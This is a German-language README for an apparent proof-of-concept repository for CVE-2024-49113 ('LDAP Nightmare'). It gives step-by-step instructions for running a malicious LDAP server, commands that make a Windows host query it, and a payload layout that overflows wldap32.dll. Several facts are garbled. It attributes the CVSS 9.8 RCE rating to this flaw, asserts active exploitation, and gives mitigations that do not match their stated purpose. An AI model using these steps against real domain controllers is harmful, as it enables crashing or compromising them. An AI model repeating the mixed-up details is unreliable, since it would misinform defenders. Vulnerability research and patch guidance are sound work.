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cve-2024-49113-ldap_nightmare_reproduction

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CVE-2024-49113 — LDAP Nightmare

Remotecodeausführung im Windows-LDAP-Client (Heap-basierter Pufferüberlauf)

FeldWert
CVECVE-2024-49113
AliasLDAP Nightmare
CVSS 3.19.8 — KRITISCH
CWECWE-122 — Heap-basierter Pufferüberlauf
EntdecktSafeBreach (PoC im Januar 2025 veröffentlicht)
AusnutzungAktive Ausnutzung in freier Wildbahn bestätigt
PatchMicrosoft Patch-Tuesday Dezember 2024 (KB5048685 / KB5048652)

1. Übersicht

CVE-2024-49113 ist eine kritische, heap-basierte Pufferüberlauf-Schwachstelle in der Windows-LDAP-Clientbibliothek (wldap32.dll). Ein nicht authentifizierter, entfernter Angreifer kann die Schwachstelle auslösen, indem er eine speziell gestaltete LDAP-Antwort an einen betroffenen Windows-Computer sendet, der eine LDAP-Abfrage durchführt (z. B. einen Domänencontroller, der Verzeichnisabfragen ausführt).

Da Windows-Domänencontroller routinemäßig LDAP-Abfragen an andere Domänencontroller, Mitgliedsserver und globale Katalogserver senden, ist dieser Fehler in Active-Directory-Umgebungen besonders gefährlich. Eine erfolgreiche Ausnutzung führt zu Remotecodeausführung im Kontext des Local-System-Kontos (auf Domänencontrollern), wodurch der Angreifer die volle Kontrolle über den Zielserver erlangt.

Der öffentliche Proof-of-Concept (genannt „LDAP Nightmare“) wurde von SafeBreach im Januar 2025 veröffentlicht, nachdem Microsoft im Patch-Tuesday Dezember 2024 Korrekturen ausgeliefert hatte.


2. Technische Details

Grundursache

Die Schwachstelle befindet sich in wldap32.dll – der Windows-Implementierung des LDAP-Clients (Lightweight Directory Access Protocol) gemäß RFC 4511.

Wenn ein LDAP-Client eine Search-Result-Entry-Antwort empfängt, parst die Bibliothek die Protocol Data Units (PDUs) der LDAP-Nachricht in einer BER-Decoder-Schleife (Basic Encoding Rules). Ein Fehler in der Heap-Speicherzuweisungslogik beim Parsen von LDAP-Attributwerten führt dazu, dass der Decoder Daten über die Grenzen eines heap-weise zugewiesenen Puffers hinaus schreibt.

Im Einzelnen:

  1. Der BER-Decoder liest das Längen-Feld eines LDAP-Attributwerts.
  2. Basierend auf dieser Länge wird ein Heap-Puffer zugewiesen.
  3. Während der Dekodierung (insbesondere bei konstruierten Zeichenfolgen oder Multibyte-Kodierungen) verfolgt der Decoder den Offset in den Puffer nicht korrekt.
  4. Dies führt zu einem kontrollierten Heap-Überlauf von bis zu mehreren Kilobyte.

Auslösebedingungen

  • Das Opfer muss eine LDAP-Abfrage initiieren (Bind- und Suchanforderung).
  • Der bösartige LDAP-Server des Angreifers sendet eine manipulierte Search-Result-Entry-Antwort (LDAP_RES_SEARCH_ENTRY).
  • Der Überlauf erfolgt vor jeder Validierung der Antwortdaten auf Anwendungsebene.
  • Es ist keine Authentifizierung erforderlich — der Überlauf kann während eines anonymen LDAP-Bind ausgelöst werden.

Auswirkungen

  • Vertraulichkeit: Vollständige Kompromittierung aller Daten auf dem System.
  • Integrität: Volle Schreibfähigkeit; der Angreifer kann Programme installieren, Daten ändern und Konten erstellen.
  • Verfügbarkeit: Volle Kontrolle über das Ziel; Dienste können verweigert werden.
  • Persistenz: RCE als SYSTEM auf Domänencontrollern ermöglicht laterale Bewegung im gesamten Domänennetzwerk.

3. Betroffene Versionen

Alle unterstützten Editionen von Windows Server und Windows Client sind vor den Sicherheitsupdates vom 10. Dezember 2024 verwundbar:

Windows Server (Domänencontroller – höchstes Risiko)

  • Windows Server 2025, 2022, 2019, 2016, 2012 R2, 2012, 2008 R2 SP1

Windows Client (weniger wahrscheinlich auslösbar, aber weiterhin verwundbar)

  • Windows 11 24H2 / 23H2 / 22H2 / 21H2
  • Windows 10 22H2 / 21H2

Die Patch-Tuesday-Updates vom Dezember 2024, die diese CVE beheben, sind:

  • KB5048685 — Windows Server 2025 / Windows 11 24H2
  • KB5048652 — Windows Server 2022 / Windows 11 23H2
  • KB5048661 — Windows 10 22H2
  • Sowie entsprechende Updates für andere Versionen (siehe MSRC-Advisory).

4. Reproduktionsschritte

Architektur

root@kitploit:~
┌──────────────────┐          LDAP Query           ┌─────────────────────┐
│   Victim Host    │ ──────────────────────────▶   │  Attacker LDAP      │
│  (Windows DC)    │                               │  Server (This PoC)  │
│                  │ ◀──────────────────────────   │                     │
│  wldap32.dll     │    Crafted LDAP Response      │  exploit.py         │
│  overflowed      │    (heap overflow payload)    │  port 389           │
└──────────────────┘                               └─────────────────────┘

Voraussetzungen

  • Ein Windows-Domänencontroller (oder ein Windows-Host, der für LDAP-Abfragen konfiguriert ist) ohne die Patches vom Dezember 2024.
  • Python 3.8+ auf dem Angreifer-Rechner (Windows, Linux oder macOS möglich).
  • Netzwerkverbindung vom Opfer zum Angreifer über TCP-Port 389.
  • Bei nicht der Domäne beigetretenen Opfern muss der Host ggf. so konfiguriert werden, dass er auf den Angreifer als LDAP-Server zeigt (z. B. über die Hosts-Datei oder DNS).

Schritt für Schritt

1. Überprüfen, ob das Ziel nicht gepatcht ist

Auf dem Opfer die installierten KBs überprüfen:

root@kitploit:~
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }

Wenn keine Ergebnisse zurückgegeben werden, ist das System ungepatcht und verwundbar.

2. Den bösartigen LDAP-Server starten

Auf dem Angreifer-Rechner diesen PoC ausführen:

root@kitploit:~
python exploit.py --listen-ip 192.168.1.100 --listen-port 389

Wobei 192.168.1.100 die IP-Adresse des Angreifers ist.

Hinweis: Unter Linux erfordert das Binden an Port 389 Root-Rechte (sudo). Unter Windows können Administratorrechte erforderlich sein.

3. Eine LDAP-Abfrage vom Opfer auslösen

Vom Opfer-Rechner aus (PowerShell, als Administrator):

root@kitploit:~
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null

try {
    $results = $searcher.FindAll()
} catch {
    Write-Host "Connection attempted — check the PoC server for crash details"
}

Alternativ kann ldp.exe verwendet werden (im Lieferumfang von Windows Server / RSAT enthalten):

  1. ldp.exe öffnen
  2. Verbindung → Verbinden → Angreifer-IP und Port 389 eingeben
  3. Verbindung → Binden → (für anonymen Zugriff leer lassen)
  4. Ansicht → Struktur → Basis-DN: DC=evil,DC=local
  5. Ausführen klicken

4. Den Überlauf beobachten

  • Der PoC-Server gibt [*] Sending malicious search result entry... aus und sendet die manipulierte Antwort.
  • Bei Erfolg stürzt der lsass.exe-Prozess des Opfers oder der LDAP-Clientprozess mit einer Zugriffsverletzung (0xC0000005) ab, oder das System zeigt einen BSOD.
  • Für eine echte RCE muss das Heap-Layout präpariert und der Überlauf kontrolliert werden – der hier enthaltene PoC demonstriert die Crash-Primitive (Denial of Service) als Ausgangspunkt.

Docker-basierte Reproduktion (Alternative)

Ein Dockerfile ist enthalten, um den PoC in einer isolierten Umgebung auszuführen:

root@kitploit:~
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare

5. Proof-of-Concept (exploit.py)

Der enthaltene exploit.py implementiert:

  • LDAP-Bind-Antwort — akzeptiert anonyme oder einfache Binds.
  • Manipulierte Search-Result-Entry — liefert die Heap-Overflow-Nutzlast.
  • Thread-basierter Verbindungshandler — verarbeitet mehrere Opferverbindungen.
  • Konfigurierbar über Befehlszeilenargumente (--listen-ip, --listen-port, --payload-size).

Struktur der Nutzlast

OffsetFeldWert
0x00LDAP-Nachrichten-Tag (0x30)Sequenz
0x01–0x02Gesamtlänge (manipuliert)Großer Wert löst Überlauf aus
0x03ProtocolOp (0x64)Search-Result-Entry
0x04–0x0ELDAP-ErgebnisfelderStandard-Header
0x0F+AttributlisteÜberlauf-Auslöser (Länge = 0xFFFF)

Ausführung gegen ein Laborziel

root@kitploit:~
# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389

# In another terminal, watch for connections
tcpdump -i any port 389 -X

6. Gegenmaßnahmen

Patch

Installieren Sie die Patch-Tuesday-Updates vom 10. Dezember 2024:

  • Windows Update: Nach Updates suchen und das kumulative Update vom Dezember 2024 installieren.
  • WSUS / SCCM: KB5048685 / KB5048652 / KB5048661 freigeben und bereitstellen (versionsabhängig).
  • Microsoft-Katalog: Eigenständige Pakete aus dem Microsoft Update-Katalog herunterladen.

Workarounds (falls das Patchen verzögert wird)

Falls der Patch nicht sofort angewendet werden kann:

  1. Netzwerksegmentierung – LDAP-Datenverkehr (TCP 389 / 636) aus nicht vertrauenswürdigen Netzwerken zu Domänencontrollern blockieren.
  2. Anonyme LDAP-Abfragen deaktivieren – Auf Domänencontrollern den anonymen Zugriff einschränken:
    root@kitploit:~
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
      -Name "LDAPServerIntegrity" -Value 2 -Type DWord
    Restart-Service NTDS
    
  3. Auf LDAP-Abstürze überwachen – Überwachung für LDAP-Clientabstürze aktivieren:
    root@kitploit:~
    wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
    

7. Referenzen

QuelleURL
Microsoft Security Response CenterMSRC CVE-2024-49113
SafeBreach (ursprüngliche Entdeckung)SafeBreach-Blog — LDAP Nightmare
NVDNVD CVE-2024-49113
CWE-122Heap-basierter Pufferüberlauf
RFC 4511LDAPv3-Protokoll
Patch-Tuesday Dezember 2024Microsoft-Versionshinweise

8. Rechtlicher Hinweis

Dieses Material dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Die unbefugte Ausnutzung von CVE-2024-49113 gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Die Autoren übernehmen keine Verantwortung für einen Missbrauch dieser Informationen. Holen Sie vor dem Testen eines Systems stets eine schriftliche Genehmigung ein.


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